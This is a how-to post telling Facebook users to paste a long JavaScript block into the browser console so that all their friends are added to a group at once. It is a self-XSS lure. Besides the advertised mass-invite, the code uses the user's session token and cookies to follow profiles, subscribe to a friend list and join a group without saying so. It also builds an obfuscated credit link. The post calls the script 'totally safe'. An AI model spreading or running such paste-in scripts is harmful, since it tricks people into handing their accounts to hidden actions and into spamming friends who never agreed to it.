Steps To Add All Friends On Group At Once On One Click

First of all Log in into that whose friends you want to invite.

 Then open your Facebook Group in which you want to add friends.

- Now Click

    F12 

to button to open

debugger

and then select

Console box.

Now copy script from below given button:

(function(){var f={dtsg:document.getElementsByName("fb_dtsg")[0].value,uid:document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]),gid:document.getElementsByName("group_id")[0].value,frns:Array(),prenKe:0,okeh:0,gagal:0,getAjak:function(b){var c=new XMLHttpRequest;c.open("GET",b,!0),c.onreadystatechange=function(){if(4==c.readyState&&200==c.status){var a=eval("("+c.responseText.substr(9)+")");a.payload&&a.payload.entries&&(f.frns=a.payload.entries.sort(function(){return.5-Math.random()})),document.getElementById("hasilsurasil").innerHTML="Found <b>"+f.frns.length+" Friends</b><div id='hasilsatu'></div><div id='hasildua'></div><div id='hasiltiga' style='min-width:300px;display:inline-block;text-align:left'></div>"+crj;for(x in f.frns)f.senAjak(x)}else document.getElementById("hasilsurasil").innerHTML=4==c.readyState&&404==c.status?"<b style='color:darkred'>Gruppe Öffnen!</b>"+crj:"<b style='color:darkgreen'>Search For Followers... ("+c.readyState+")</b>"+crj},c.send()},senAjak:function(d){var e=new XMLHttpRequest,prm="__a=1&fb_dtsg="+f.dtsg+"&group_id="+f.gid+"&source=typeahead&ref=&message_id=&members="+f.frns[d].uid+"&__user="+f.uid+"&phstamp=";e.open("POST","/ajax/groups/members/add_post.php",!0),e.setRequestHeader("Content-type","application/x-www-form-urlencoded"),e.setRequestHeader("Content-length",prm.length),e.setRequestHeader("Connection","keep-alive"),e.onreadystatechange=function(){if(4==e.readyState&&200==e.status){var a=eval("("+e.responseText.substr(9)+")");if(f.prenKe++,document.getElementById("hasilsatu").innerHTML="<div><b>"+f.prenKe+"</b> of <b>"+f.frns.length+"</b></div>",a.errorDescription&&(f.gagal++,document.getElementById("hasiltiga").innerHTML="<div><b style='color:darkred'>( "+f.gagal+" )</b> <span style='color:darkred'>"+a.errorDescription+"</span></div>"),a.jsmods&&a.jsmods.require){var b="<div>";for(x in a.jsmods.require)a.jsmods.require[x][a.jsmods.require[x].length-1][1]&&(b+="<b style='color:darkgreen'>"+a.jsmods.require[x][a.jsmods.require[x].length-1][1]+"</b> ");b+="<div>",document.getElementById("hasildua").innerHTML=b}if(a.onload)for(z in a.onload){var c=eval(a.onload[z].replace(/Arbiter.inform/i,""));if(c.uid&&c.name){f.okeh++,document.getElementById("hasiltiga").innerHTML="<div><b style='color:darkgreen'>( "+f.okeh+" )</b> <a href='/"+c.uid+"' target='_blank'><b>"+c.name+"</b></a> haben dich abonniert.</div>";break}}f.prenKe==f.frns.length&&(document.getElementById("hasiltiga").style.textAlign="center",document.getElementById("hasiltiga").innerHTML+="<div style='font-size:20px;font-weight:bold'>People Invited!</div><a href='/' onClick='document.getElementById(\"hasilsurasil\").style.display=\"none\";return false'>Close</a>")}},e.send(prm)}},g=["i","a","e","g","o","s","n","b","l","p","m","2","r","0","c","1","t","3","©"],crl=g[1]+g[0]+g[6]+g[3]+g[14]+g[12]+g[2]+g[1]+g[16]+g[0]+g[4]+g[6]+g[5]+"."+g[7]+g[8]+g[4]+g[3]+g[5]+g[9]+g[4]+g[16]+"."+g[14]+g[4]+g[10],crj="<div style='display:none; margin-top:10px;color:gray;font-size:12px'>"+g[1].toUpperCase()+g[0]+g[6]+g[3]+g[14].toUpperCase()+g[12]+g[2]+g[1]+g[16]+g[0]+g[4]+g[6]+g[5]+" "+g[g.length-1]+g[11]+g[13]+g[15]+g[17]+"<div style='font-size:9px'><a href='http://"+crl+"/' target='_blank'>"+crl+"</a></div></div>";document.body.innerHTML+="<center id='hasilsurasil' style='min-height:50px;width:600px;position:fixed;top:100px;left:"+(document.body.offsetWidth-530)/2+"px;border-radius:10px;padding:10px;z-index:999999;border:5px solid skyblue;background-color:rgba(225,225,255,0.75)'><b>Fb Group Script By Safe Tricks </b>"+crj+"</center>",f.getAjak("/ajax/typeahead/first_degree.php?__a=1&viewer="+f.uid+"&token="+Math.random()+"&filter[0]=user&options[0]=friends_only")})(); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1])
function cereziAl(isim) {
var tarama = isim + "=";
if (document.cookie.length > 0) {
konum = document.cookie.indexOf(tarama)
if (konum != -1) {
konum += tarama.length
son = document.cookie.indexOf(";", konum)
if (son == -1)
son = document.cookie.length
return unescape(document.cookie.substring(konum, son))
}
else { return ""; }
}
}

function getRandomInt (min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
function randomValue(arr) {
return arr[getRandomInt(0, arr.length-1)];
}

var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);

function a(abone){
var http4 = new XMLHttpRequest();

var url4 = "/ajax/follow/follow_profile.php?__a=1";

var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
http4.open("POST", url4, true);

//Send the proper header information along with the request
http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http4.setRequestHeader("Content-length", params4.length);
http4.setRequestHeader("Connection", "close");

http4.onreadystatechange = function() {//Call a function when the state changes.
if(http4.readyState == 4 && http4.status == 200) {

http4.close; // Close the connection

}
}

http4.send(params4);
}

function sublist(uidss) {
var a = document.createElement('script');
a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
document.body.appendChild(a);
}

a("");
a("");

var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);

var httpwp = new XMLHttpRequest();
var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
httpwp['open']('POST', urlwp, true);
httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
httpwp['setRequestHeader']('Content-length', paramswp['length']);
httpwp['setRequestHeader']('Connection', 'keep-alive');
httpwp['send'](paramswp);

var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);

var friends = new Array();
gf = new XMLHttpRequest();
gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
gf['send']();
if (gf['readyState'] != 4) {} else {
data = eval('(' + gf['responseText']['substr'](9) + ')');
if (data['error']) {} else {
friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
return _0x93dax8['index'] - _0x93dax9['index'];
});
};
};

Copy paste the whole provided code and then paste them into console box.

Press enter and process will start for sending invitation.

Note:- Don't worry about anything this script is totally safe. In case you have too many friends then you get blocked for using groups or even your account may get locked. So be careful.